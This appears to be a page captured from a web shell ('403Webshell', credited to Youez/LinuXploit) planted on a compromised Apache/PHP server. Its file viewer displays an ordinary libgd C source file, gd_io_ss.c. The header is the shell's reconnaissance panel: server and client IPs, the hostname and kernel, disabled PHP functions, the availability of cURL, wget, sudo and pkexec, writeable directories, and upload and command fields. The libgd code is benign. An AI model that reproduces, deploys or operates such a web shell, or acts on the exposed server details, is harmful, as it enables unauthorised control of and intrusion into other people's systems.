403Webshell
Server IP : 172.67.216.182  /  Your IP : 172.70.93.23
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/php/74/src/ext/gd/libgd/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/php/74/src/ext/gd/libgd/gd_io_ss.c
/*
   * io_ss.c
   *
   * Implements the Source/Sink interface.
   *
   * As will all I/O modules, most functions are for local use only (called
   * via function pointers in the I/O context).
   *
   * The Source/Sink model is the primary 'user' interface for alternate data
   * sources; the IOCtx interface is intended (at least in version 1.5) to be
   * used internally until it settles down a bit.
   *
   * This module just layers the Source/Sink interface on top of the IOCtx; no
   * support is provided for tell/seek, so GD2 writing is not possible, and
   * retrieving parts of GD2 files is also not possible.
   *
   * A new SS context does not need to be created with both a Source and a Sink.
   *
   * Written/Modified 1999, Philip Warner.
   *
 */

#include <math.h>
#include <string.h>
#include <stdlib.h>
#include "gd.h"
#include "gdhelpers.h"

/* this is used for creating images in main memory */

typedef struct ssIOCtx
{
	gdIOCtx ctx;
	gdSourcePtr src;
	gdSinkPtr snk;
} ssIOCtx;

typedef struct ssIOCtx *ssIOCtxPtr;

gdIOCtx *gdNewSSCtx (gdSourcePtr src, gdSinkPtr snk);

static int sourceGetbuf (gdIOCtx *, void *, int);
static int sourceGetchar (gdIOCtx * ctx);
static int sinkPutbuf (gdIOCtx * ctx, const void *buf, int size);
static void sinkPutchar (gdIOCtx * ctx, int a);
static void gdFreeSsCtx (gdIOCtx * ctx);

/* return data as a dynamic pointer */
gdIOCtx * gdNewSSCtx (gdSourcePtr src, gdSinkPtr snk)
{
	ssIOCtxPtr ctx;

	ctx = (ssIOCtxPtr) gdMalloc (sizeof (ssIOCtx));

	ctx->src = src;
	ctx->snk = snk;

	ctx->ctx.getC = sourceGetchar;
	ctx->ctx.getBuf = sourceGetbuf;

	ctx->ctx.putC = sinkPutchar;
	ctx->ctx.putBuf = sinkPutbuf;

	ctx->ctx.tell = NULL;
	ctx->ctx.seek = NULL;

	ctx->ctx.gd_free = gdFreeSsCtx;

	return (gdIOCtx *) ctx;
}

static void gdFreeSsCtx (gdIOCtx * ctx)
{
	gdFree(ctx);
}


static int sourceGetbuf (gdIOCtx * ctx, void *buf, int size)
{
	ssIOCtx *lctx;
	int res;

	lctx = (ssIOCtx *) ctx;

	res = ((lctx->src->source) (lctx->src->context, buf, size));

	/*
	 * Translate the return values from the Source object:
	 * 0 is EOF, -1 is error
	 */

	if (res == 0) {
		return EOF;
	} else if (res < 0) {
		return 0;
	} else {
		return res;
	}
}

static int sourceGetchar (gdIOCtx * ctx)
{
	int res;
	unsigned char buf;

	res = sourceGetbuf (ctx, &buf, 1);

	if (res == 1) {
		return buf;
	} else {
		return EOF;
	}
}

static int sinkPutbuf (gdIOCtx * ctx, const void *buf, int size)
{
	ssIOCtxPtr lctx;
	int res;

	lctx = (ssIOCtx *) ctx;

	res = (lctx->snk->sink) (lctx->snk->context, buf, size);

	if (res <= 0) {
		return 0;
	} else {
		return res;
	}
}

static void sinkPutchar (gdIOCtx * ctx, int a)
{
	unsigned char b;

	b = a;
	sinkPutbuf (ctx, &b, 1);
}

Youez - 2016 - github.com/yon3zu
LinuXploit